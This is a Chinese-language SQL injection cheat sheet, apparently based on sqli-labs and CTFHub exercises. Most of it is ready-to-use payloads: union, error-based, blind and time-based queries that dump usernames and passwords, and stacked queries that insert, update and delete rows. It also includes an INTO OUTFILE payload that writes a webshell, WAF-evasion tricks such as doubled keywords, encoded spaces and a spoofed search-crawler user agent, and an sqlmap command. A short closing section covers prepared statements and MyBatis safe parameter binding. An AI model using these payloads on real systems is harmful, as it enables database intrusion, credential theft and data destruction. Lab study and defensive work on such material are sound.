sql注入
一.几种常见的SQL注入;
1.可以联合查询的SQL注入;
数字型注入;字符型注入;
查表:and 1=2 table_name from information_schema.tables where table_schema=database() limit 0,1
{group_concat(table_name)}
查字段: and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=’admin’ limit 1,1
1 | and 1=2 union select 1,password from admin limit 0,1 |
闭合括号:id=1’) and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=’error_flag’ limit 1,1 –+
对方网站过滤了or,and,/*,-- ,#,空格和斜杠
解决办法:
我方试图寻找绕过方法,对于or and可以双写绕过,空格可以通过url绕过,%a0或%b0。
Payload:
1.可以联合查询的SQL语句:id=1'%a0aandnd%a0'1'='1
2.报错注入:id=1' oorr(extractvalue(1,concat(0x7e,(select(database())),0x7e)))aandnd '1'='1
2.报错注入;floor() updatexml() extractvalue()
select extractvalue(1,concat(‘~’,(select database())))
select updatexml(1,concat(‘~’,(select database())),1)
?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))–+
?id=’1’ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’)))–+
?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))–+
?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in (‘Dumb’,’I-kill-you’))))–+
?id=2' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
?id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
?id=2' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
?id=2' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='sql' limit 0,1),0x7e),1)--+
3.Bool盲注;
?id=1 and length(database())=1
?id=1 and substr(database(),1,1)=’t’
?id=1 and ascii(substr(database(),1,1))=12
?id=1 and ord(substr(database(),1,1))=115
?id=1 and substr((select table_name from information_schema.tables where table_schema=’sql’ limit 0,1),1,1)=’e’
4.时间盲注;sleep() benchmark()
- http://%s/sqli_15.php?title=World War Z’ and ascii(substr(database(),1,1))=1 and sleep(3)
- ?id=1’ and if(length(database())=8,sleep(5),1)–+
- ?id=1’ and if(left(database(),1)=’s’,sleep(5),1)–+
- ?id=1’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=’r’,sleep(5),1)–+
- ?id=1’ and if(left((select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1),1)=’r’,sleep(5),1)–+
- ?id=1’ and if(left((select password from users order by id limit 0,1),4)=’dump’,sleep(5),1)–+(mysql数据库对大小写不敏感)
substr(a,b,c):从b位置开始,截取字符串a的c长度
count():计算总数
ascii():返回字符的ASCII码
length():返回字符串的长度
left(a,b):从左往右截取字符串a的前b个字符
sleep(n):将程序挂起n秒
if(length(database())>1,sleep(5),1)
if(substr(database(),1,1)='s',sleep(5),1)
id=1' and if(ord(substr(database(),1,1))=112,sleep(5),1)--+
5.隐蔽的HTTP头注入;
针对HTTP的请求头,如果不加以过滤或者转义,在直接与数据库交互的过程中容易被利用进行SQL注入攻击,即HTTP头注入。常见场景:访问Web Server时,Web Server会从HTTP Header中取出浏览器信息、IP地址,HOST信息等存储到数据库中。
User-Agent: User-Agent会告诉网站服务器,访问者是通过什么工具来请求的,如果是爬虫请求,一般会拒绝,如果是用户浏览器,就会应答。
6.宽字节注入
当数据库的编码为GBK时,%df%5c逃逸转义符
查询表名时,使用嵌套查询
在php中,通过iconv()进行编码转换时,也可能存在宽字节注入;
7.堆叠注入;
一堆SQL语句一起执行。
mysqli_query执行单条sql语句;
mysqli_multi_query执行多条语句;mysqli_use_result获得多次查询的结果;
payload: ?id=2’;update users set username=’wzj’ where id=2–+
?id=2’;insert into users(id,username,password) values(‘996’,’李丁’,’123456’);–+
?id=2’;delete from users where id=996;–+
?id=2’;select if(substr(user(),1,1)=’r’,sleep(5),1)%23
8.二次注入;
addslashes()进行转义
参数转化为int(防止SQL注入)
9.base64注入
可能会绕过waf检查;
10,XFF注入
11.Cookie注入
1 | sqlmap.py -u http://challenge-f213f6e8f809530d.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2 --current-db --batch |
二.网站安全狗(WAF)绕过;
参数污染
fuzz
静态资源(现在已经被淘汰了)
url白名单(后门)
爬虫白名单
部分waf有提供爬虫白名单的功能,识别爬虫的技术一般有两种:
1.根据UserAgent
2.通过行为来判断
UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过
当因为访问速度过快被安全狗识别拦截:
–user-agent=”Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html) “
–delay 1
代理池(python编写代理池的抓取)
sqlmap工具被安全狗扫描拦截;
burp抓到的数据包对比在浏览器中能正常访问的数据包;
三.总结;
对于单双引号,能注释就注释,不能注释尝试闭合;
几种常见的payload:(尽量用–+,#不一定管用)
’–+ “–+
$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;
$sql=”SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1”;
编码绕过;
内联注释绕过;
sqli-lab第7关(导出文件GET字符型注入)
关于绝对路径以后再说,这里从第2关直接注入拿到路径。
payload:?id=2 and 1=2 union select 1,@@basedir,@@datadir
@@basedir{该参数指定了安装 MySQL 的安装路径,填写全路径可以解决相对路径所造成的问题}
@@datadir{该参数指定了 MySQL 的数据库文件放在什么路径下,数据库文件即我们常说的 MySQL data文件}
payload:(写入一句话木马)http://localhost/sql/Less-7/?id=2')) union select 1,2,’3’ into outfile ‘C:\phpstudy_pro\WWW\sql\Less-7\test.php’ –+
三.sql注入修复;
常用的sql注入漏洞修复的方法有两种:
1.过滤危险字符;
(仍可能被绕过)
2.使用预编译语句;
使用PDO预编译语句,需要注意的是,不要将变量直接拼接到PDO语句中,而是使用占位符进行数据库的增加,删除,修改,查询。
3.java代码审计—sql注入
#{}
${}
Mybatis拼接sql有下面两种方式:
#{}
告诉 MyBatis 创建一个预编译语句(PreparedStatement)参数,在 JDBC 中,这样的一个参数在 SQL 中会由一个“?”来标识,并被传递到一个新的预处理语句中。
${}
仅仅是纯粹的 string 替换,在动态 SQL 解析阶段将会进行变量替换,类似于直接替换字符串,会导致SQL注入产生。like+#{ }
不能使用#{}的场景:
1 | (1)表名/字段名; |